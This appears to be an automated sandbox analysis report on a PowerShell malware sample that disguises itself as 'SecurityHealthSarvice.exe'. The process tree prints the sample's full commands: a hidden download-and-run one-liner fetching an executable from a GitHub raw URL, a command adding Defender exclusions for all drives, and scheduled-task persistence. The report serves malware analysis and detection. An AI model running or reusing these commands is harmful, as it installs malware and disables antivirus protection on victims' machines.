0d0860cdab0f66b91c89ba361d702d49e2c50dd04967ce09c118af29b4351858

Analysis

max time kernel
57s
max time network
60s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
09/08/2026, 07:58

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
test.ps1
Size 377B
Sample260809-jvbhhsxsdv
SHA256 0d0860cdab0f66b91c89ba361d702d49e2c50dd04967ce09c118af29b4351858
MD5 3386fac77d77928138c4371520f2c449
SHA1 603aac2869276a3dd03cb9df57c318ffd92965f3
SHA512 dc2e224fed09652a62b5a354e8917bd08f4b204219298761956785c49c1d6313057167391f353a42fe504043f0925fb2e2a6f2ab1d0c8384ea43b7fc5015fc3f
TLSH
T10BE0680302FE437CCEA18811A4EE311AD4ABF009A21712A21AF0580BBC403DFC7B80D8
MD5 SHA1 SHA512 TLSH

Score

8^/10

defense_evasion execution persistence

Malware Config

Signatures

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
3	5788	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2060	PowerShell.exe
5788	powershell.exe
2652	powershell.exe
2836	powershell.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
3	5788	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
5896	SecurityHealthSarvice.exe
5848	SecurityHealthSarvice.exe

Prevents Microsoft Defender from scanning certain paths by adding an exclusion. 2 TTPs 2 IoCs

Uses the Powershell Add-MpPreference cmdlet to exclude paths from being scanned by Microsoft Defender.

defense_evasion

File/Path Exclusions

T1564.012

Disable or Modify Tools

T1562.001

pid	Process
4360	cmd.exe
6084	cmd.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1079202589-886135813-2527035092-1000\Software\Microsoft\Windows\CurrentVersion\Run\SecurityHealthSarvice = "C:\\Users\\Admin\\AppData\\Roaming\\SecurityHealthSarvice.exe"	SecurityHealthSarvice.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1079202589-886135813-2527035092-1000\Software\Microsoft\Windows\CurrentVersion\Run\SecurityHealthSarvice = "C:\\Users\\Admin\\AppData\\Roaming\\SecurityHealthSarvice.exe"	SecurityHealthSarvice.exe

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
1	raw.githubusercontent.com
3	raw.githubusercontent.com

Checks system information in the registry 2 TTPs 4 IoCs

System information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemManufacturer	SecurityHealthSarvice.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemProductName	SecurityHealthSarvice.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemManufacturer	SecurityHealthSarvice.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemProductName	SecurityHealthSarvice.exe

Hide Artifacts: Ignore Process Interrupts 1 TTPs 2 IoCs

Command interpreters often include specific commands/flags that ignore errors and other hangups.

defense_evasion

Ignore Process Interrupts

T1564.011

pid	Process
4360	cmd.exe
6084	cmd.exe

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2440	cmd.exe
3248	cmd.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
5452	schtasks.exe
2616	schtasks.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
2060	PowerShell.exe
2060	PowerShell.exe
5788	powershell.exe
5788	powershell.exe
2836	powershell.exe
2836	powershell.exe
2652	powershell.exe
2652	powershell.exe
2652	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2060	PowerShell.exe
Token: SeDebugPrivilege	5788	powershell.exe
Token: SeDebugPrivilege	2836	powershell.exe
Token: SeIncreaseQuotaPrivilege	2836	powershell.exe
Token: SeSecurityPrivilege	2836	powershell.exe
Token: SeTakeOwnershipPrivilege	2836	powershell.exe
Token: SeLoadDriverPrivilege	2836	powershell.exe
Token: SeSystemProfilePrivilege	2836	powershell.exe
Token: SeSystemtimePrivilege	2836	powershell.exe
Token: SeProfSingleProcessPrivilege	2836	powershell.exe
Token: SeIncBasePriorityPrivilege	2836	powershell.exe
Token: SeCreatePagefilePrivilege	2836	powershell.exe
Token: SeBackupPrivilege	2836	powershell.exe
Token: SeRestorePrivilege	2836	powershell.exe
Token: SeShutdownPrivilege	2836	powershell.exe
Token: SeDebugPrivilege	2836	powershell.exe
Token: SeSystemEnvironmentPrivilege	2836	powershell.exe
Token: SeRemoteShutdownPrivilege	2836	powershell.exe
Token: SeUndockPrivilege	2836	powershell.exe
Token: SeManageVolumePrivilege	2836	powershell.exe
Token: 33	2836	powershell.exe
Token: 34	2836	powershell.exe
Token: 35	2836	powershell.exe
Token: 36	2836	powershell.exe
Token: SeIncreaseQuotaPrivilege	2836	powershell.exe
Token: SeSecurityPrivilege	2836	powershell.exe
Token: SeTakeOwnershipPrivilege	2836	powershell.exe
Token: SeLoadDriverPrivilege	2836	powershell.exe
Token: SeSystemProfilePrivilege	2836	powershell.exe
Token: SeSystemtimePrivilege	2836	powershell.exe
Token: SeProfSingleProcessPrivilege	2836	powershell.exe
Token: SeIncBasePriorityPrivilege	2836	powershell.exe
Token: SeCreatePagefilePrivilege	2836	powershell.exe
Token: SeBackupPrivilege	2836	powershell.exe
Token: SeRestorePrivilege	2836	powershell.exe
Token: SeShutdownPrivilege	2836	powershell.exe
Token: SeDebugPrivilege	2836	powershell.exe
Token: SeSystemEnvironmentPrivilege	2836	powershell.exe
Token: SeRemoteShutdownPrivilege	2836	powershell.exe
Token: SeUndockPrivilege	2836	powershell.exe
Token: SeManageVolumePrivilege	2836	powershell.exe
Token: 33	2836	powershell.exe
Token: 34	2836	powershell.exe
Token: 35	2836	powershell.exe
Token: 36	2836	powershell.exe
Token: SeDebugPrivilege	2652	powershell.exe
Token: SeIncreaseQuotaPrivilege	2652	powershell.exe
Token: SeSecurityPrivilege	2652	powershell.exe
Token: SeTakeOwnershipPrivilege	2652	powershell.exe
Token: SeLoadDriverPrivilege	2652	powershell.exe
Token: SeSystemProfilePrivilege	2652	powershell.exe
Token: SeSystemtimePrivilege	2652	powershell.exe
Token: SeProfSingleProcessPrivilege	2652	powershell.exe
Token: SeIncBasePriorityPrivilege	2652	powershell.exe
Token: SeCreatePagefilePrivilege	2652	powershell.exe
Token: SeBackupPrivilege	2652	powershell.exe
Token: SeRestorePrivilege	2652	powershell.exe
Token: SeShutdownPrivilege	2652	powershell.exe
Token: SeDebugPrivilege	2652	powershell.exe
Token: SeSystemEnvironmentPrivilege	2652	powershell.exe
Token: SeRemoteShutdownPrivilege	2652	powershell.exe
Token: SeUndockPrivilege	2652	powershell.exe
Token: SeManageVolumePrivilege	2652	powershell.exe
Token: 33	2652	powershell.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 2060 wrote to memory of 2440	2060	PowerShell.exe	90
PID 2440 wrote to memory of 3248	2440	cmd.exe	91
PID 3248 wrote to memory of 5788	3248	cmd.exe	93
PID 5788 wrote to memory of 5896	5788	powershell.exe	94
PID 5896 wrote to memory of 4360	5896	SecurityHealthSarvice.exe	95
PID 4360 wrote to memory of 5416	4360	cmd.exe	97
PID 4360 wrote to memory of 2836	4360	cmd.exe	98
PID 5896 wrote to memory of 5452	5896	SecurityHealthSarvice.exe	101
PID 5848 wrote to memory of 6084	5848	SecurityHealthSarvice.exe	105
PID 6084 wrote to memory of 1376	6084	cmd.exe	107
PID 6084 wrote to memory of 2652	6084	cmd.exe	108
PID 5848 wrote to memory of 2616	5848	SecurityHealthSarvice.exe	109

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\test.ps1
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2060
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c start /min cmd.exe /c powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command "& { iwr -Uri 'https://raw.githubusercontent.com/dwqfefewfewfew/OwoSexy/refs/heads/main/SecurityHealthSarvice%20(1).exe' -OutFile C:\Users\Admin\AppData\Local\Temp\SecurityHealthSarvice.exe; Start-Process -FilePath C:\Users\Admin\AppData\Local\Temp\SecurityHealthSarvice.exe -WindowStyle Hidden }"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2440
- - C:\Windows\system32\cmd.exe
    cmd.exe /c powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command "& { iwr -Uri 'https://raw.githubusercontent.com/dwqfefewfewfew/OwoSexy/refs/heads/main/SecurityHealthSarvice%20(1).exe' -OutFile C:\Users\Admin\AppData\Local\Temp\SecurityHealthSarvice.exe; Start-Process -FilePath C:\Users\Admin\AppData\Local\Temp\SecurityHealthSarvice.exe -WindowStyle Hidden }"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3248
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command "& { iwr -Uri 'https://raw.githubusercontent.com/dwqfefewfewfew/OwoSexy/refs/heads/main/SecurityHealthSarvice%20(1).exe' -OutFile C:\Users\Admin\AppData\Local\Temp\SecurityHealthSarvice.exe; Start-Process -FilePath C:\Users\Admin\AppData\Local\Temp\SecurityHealthSarvice.exe -WindowStyle Hidden }"
      4⤵
      Badlisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Downloads MZ/PE file
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:5788
    - - C:\Users\Admin\AppData\Local\Temp\SecurityHealthSarvice.exe
        
        "C:\Users\Admin\AppData\Local\Temp\SecurityHealthSarvice.exe"
        5⤵
        Executes dropped EXE
        Adds Run key to start application
        Checks system information in the registry
        Suspicious use of WriteProcessMemory
        
        PID:5896
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c chcp 65001 >nul && powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Get-PSDrive -PSProvider FileSystem|Where-Object{$_.Root -match '^[A-Z]:\\' -and (Test-Path $_.Root)}|ForEach-Object{Add-MpPreference -ExclusionPath $_.Root -ErrorAction SilentlyContinue}"
        6⤵
        Prevents Microsoft Defender from scanning certain paths by adding an exclusion.
        Hide Artifacts: Ignore Process Interrupts
        Suspicious use of WriteProcessMemory
        
        PID:4360
        
        C:\Windows\system32\chcp.com
        
        chcp 65001
        7⤵
        
        PID:5416
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Get-PSDrive -PSProvider FileSystem|Where-Object{$_.Root -match '^[A-Z]:\\' -and (Test-Path $_.Root)}|ForEach-Object{Add-MpPreference -ExclusionPath $_.Root -ErrorAction SilentlyContinue}"
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2836
      - C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks.exe /create /f /sc minute /mo 1 /tn "SecurityHealthSarvice" /tr "C:\Users\Admin\AppData\Roaming\SecurityHealthSarvice.exe"
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:5452

C:\Users\Admin\AppData\Roaming\SecurityHealthSarvice.exe
C:\Users\Admin\AppData\Roaming\SecurityHealthSarvice.exe
1⤵
- Executes dropped EXE
- Adds Run key to start application
- Checks system information in the registry
- Suspicious use of WriteProcessMemory
PID:5848
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c chcp 65001 >nul && powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Get-PSDrive -PSProvider FileSystem|Where-Object{$_.Root -match '^[A-Z]:\\' -and (Test-Path $_.Root)}|ForEach-Object{Add-MpPreference -ExclusionPath $_.Root -ErrorAction SilentlyContinue}"
  2⤵
  - Prevents Microsoft Defender from scanning certain paths by adding an exclusion.
  - Hide Artifacts: Ignore Process Interrupts
  - Suspicious use of WriteProcessMemory
  PID:6084
- - C:\Windows\system32\chcp.com
    chcp 65001
    3⤵
    PID:1376
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Get-PSDrive -PSProvider FileSystem|Where-Object{$_.Root -match '^[A-Z]:\\' -and (Test-Path $_.Root)}|ForEach-Object{Add-MpPreference -ExclusionPath $_.Root -ErrorAction SilentlyContinue}"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2652
- C:\Windows\SYSTEM32\schtasks.exe
  schtasks.exe /create /f /sc minute /mo 1 /tn "SecurityHealthSarvice" /tr "C:\Users\Admin\AppData\Roaming\SecurityHealthSarvice.exe"
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2616

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Hide Artifacts

T1564

File/Path Exclusions

T1564.012

Ignore Process Interrupts

T1564.011

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 67KB
SHA256 96952b58e7507bfbf6b1edf838d41182ae4f94e983572fa0c037be46d4ab1b05
MD5 b65d38126d60f6776d0fee761697a8ab
SHA1 fce1b1fa5ee6c386768d73e767a6bf9a04c23b30
SHA512 100a082250af816628e48f6949a2068bada9998b7bd29fa7408af7fd8d4425d03c85b92e6e2e4c08dc55e6bb56b4f31aedeaf3f4ac201e80d2cdac77353c5dd6
SSDEEP 1536:mKLg0mYo2hOovpfKQVGflJdpHYWh4iUx9R40i71Yi9MQyPcMrxoi3jiRjdvRwa5Z:mKLg0mYo2hOovpfKQVGflJd9YWqiU9Rg
TLSH
T11C636192E9204E75E1A66F3EF15622627C30394690F8113211DC25EFA987D970B1FBFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 4f17593d9aa7fb7f382ab82bf771c95f8717d52d3e91ba3a6dc26952a776b64d
MD5 1c18aceab5b42b86c4fc9ffc81e52999
SHA1 335c2ee77e5ef7a621443dbf24b88d10a443fb70
SHA512 39366b3e7d545de79bd4a4b36bd252a66d3de77e7a3d3115bd6eb9ed1f7c6726c4d64edba418de3fc37cb5bbcd36bdc017b6b9623fee66ffa39ea9f027603bd3
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 95bf34d339698a4bb28f3d149bf3bd4631d612be2a593d2b126dd3f596c2d062
MD5 8fb6349b5992e82f06c7d05fe6b0d119
SHA1 eb810cd9bdc22234738068757d3346c15c3de3f9
SHA512 2b8c39b4fe6dd7ac6e68c9759538f6e8707e2deef1d822cc215752b377fc7570c1543bfafdc8011d3cef52131ab316af6c5adf0d6b967b06d11d5bab0def9b17
TLSH
T110215637B3DC8664D88A413A50CEAC1032B7C7DB809ECEEBBB84D555B42F699CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 af9c825cbcda02813743734327d91de22caddd3c41b69669b30477985b04730c
MD5 fa60285560dabf0cf7ada4f4b9f2b206
SHA1 44b8f7804f3e7fdc28024802705535df113ba897
SHA512 bb8509af875eeec393cf4d555c2e2dfcf041a4d521465388b3ada20ed0a993bcee73b700a066014e1df0e9f5ad9951597b199e7c14237686e8b407aece0db68c
TLSH
T11B217937F3CC8615CC99013A20CDAC1036BAC7CB80DEDF9B6B84E655A52F699CF60160
MD5 SHA1 SHA512 TLSH

Submit Download

SecurityHealthSarvice.exe

Path C:\Users\Admin\AppData\Local\Temp\SecurityHealthSarvice.exe
Size 60KB
SHA256 8353eb70e28a76578479d2cf2b80a9670b9fdf25d0292049e715589bcfcf7fcd
MD5 52c70a37a8c2f3bb8d738250880e5311
SHA1 144dc736b16efe831f4dab27aca26e6ed0ed66d0
SHA512 c81dcb50659595d7ba2b05bdc1170f41e1006fdbefdb68efb164a1871e365eb8848acdcfab490a759a9763809c3608687626aec278a25ab3ea9e1d7b1870a18c
SSDEEP 1536:wYvxrhs3z558JPDCkRNLT8vJ0xXjmJZo:wAxNsoh9RhiJVP
TLSH
T13953090AF39364ECD51BC27446EB6773BA32BD6511319F3E1394E6302E50E60AE79B24
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_c0wfchfs.5m1.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_c0wfchfs.5m1.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

~msnDEV-0e22b63f91b96891.tmp

Path C:\Users\Admin\AppData\Local\Temp\~msnDEV-0e22b63f91b96891.tmp
Size 4B
SHA256 fe55389e86f9c0627b173e38b9513e90073fa28c00d5ea8da7108d686cc0f410
MD5 1ec6910fbd74b2cf0399f79865eeafaa
SHA1 c5173e500a6c7cc767ce4689c4e3a6c600cdc375
SHA512 f6e9c655b539241ae23c6eddcce92f4913728c78f2d6312be29181e80dac4a26f37dbe00820ea152ad2dbd304a698068f328e6684e75ce2cd22f279aa3b20791
MD5 SHA1 SHA512

Submit Download

memory/2060-6-0x00007FF899720000-0x00007FF89A0C4000-memory.dmp

Download

memory/2060-10-0x00007FF899720000-0x00007FF89A0C4000-memory.dmp

Download

memory/2060-0-0x00007FF8998AF000-0x00007FF8998B0000-memory.dmp

Download

memory/2060-8-0x00007FF899720000-0x00007FF89A0C4000-memory.dmp

Download

memory/2060-7-0x00007FF899720000-0x00007FF89A0C4000-memory.dmp

Download

memory/2060-5-0x00007FF899720000-0x00007FF89A0C4000-memory.dmp

Download

memory/2060-4-0x000001FDA45B0000-0x000001FDA45D2000-memory.dmp

Download

memory/2060-1-0x00007FF899720000-0x00007FF89A0C4000-memory.dmp

Download

memory/2836-48-0x000001FF1A800000-0x000001FF1A80A000-memory.dmp

Download

memory/2836-47-0x000001FF1AA30000-0x000001FF1AAE2000-memory.dmp

Download

memory/2836-46-0x000001FF1AA10000-0x000001FF1AA2E000-memory.dmp

Download

memory/5788-12-0x00007FF899720000-0x00007FF89A0C4000-memory.dmp

Download

memory/5788-20-0x00007FF899720000-0x00007FF89A0C4000-memory.dmp

Download

memory/5788-21-0x00007FF899720000-0x00007FF89A0C4000-memory.dmp

Download

memory/5788-27-0x00007FF899720000-0x00007FF89A0C4000-memory.dmp

Download

memory/5788-28-0x00007FF899720000-0x00007FF89A0C4000-memory.dmp

Download

memory/5788-25-0x00007FF899720000-0x00007FF89A0C4000-memory.dmp

Download

memory/5788-39-0x00007FF899720000-0x00007FF89A0C4000-memory.dmp

Download

memory/5788-24-0x00007FF899720000-0x00007FF89A0C4000-memory.dmp

Download

memory/5788-23-0x00007FF899720000-0x00007FF89A0C4000-memory.dmp

Download

memory/5788-22-0x00007FF899720000-0x00007FF89A0C4000-memory.dmp

Download

memory/5788-19-0x00007FF899720000-0x00007FF89A0C4000-memory.dmp

Download

memory/5788-18-0x00007FF899720000-0x00007FF89A0C4000-memory.dmp

Download

memory/5788-17-0x00007FF899720000-0x00007FF89A0C4000-memory.dmp

Download

memory/5788-13-0x00007FF899720000-0x00007FF89A0C4000-memory.dmp

Download

memory/5788-11-0x00007FF899720000-0x00007FF89A0C4000-memory.dmp

Download

memory/5848-60-0x000000027FE40000-0x000000027FE9A000-memory.dmp

Download

memory/5848-71-0x00007FF6BB8C0000-0x00007FF6BB8D9000-memory.dmp

Download

memory/5896-52-0x00007FF648180000-0x00007FF648199000-memory.dmp

Download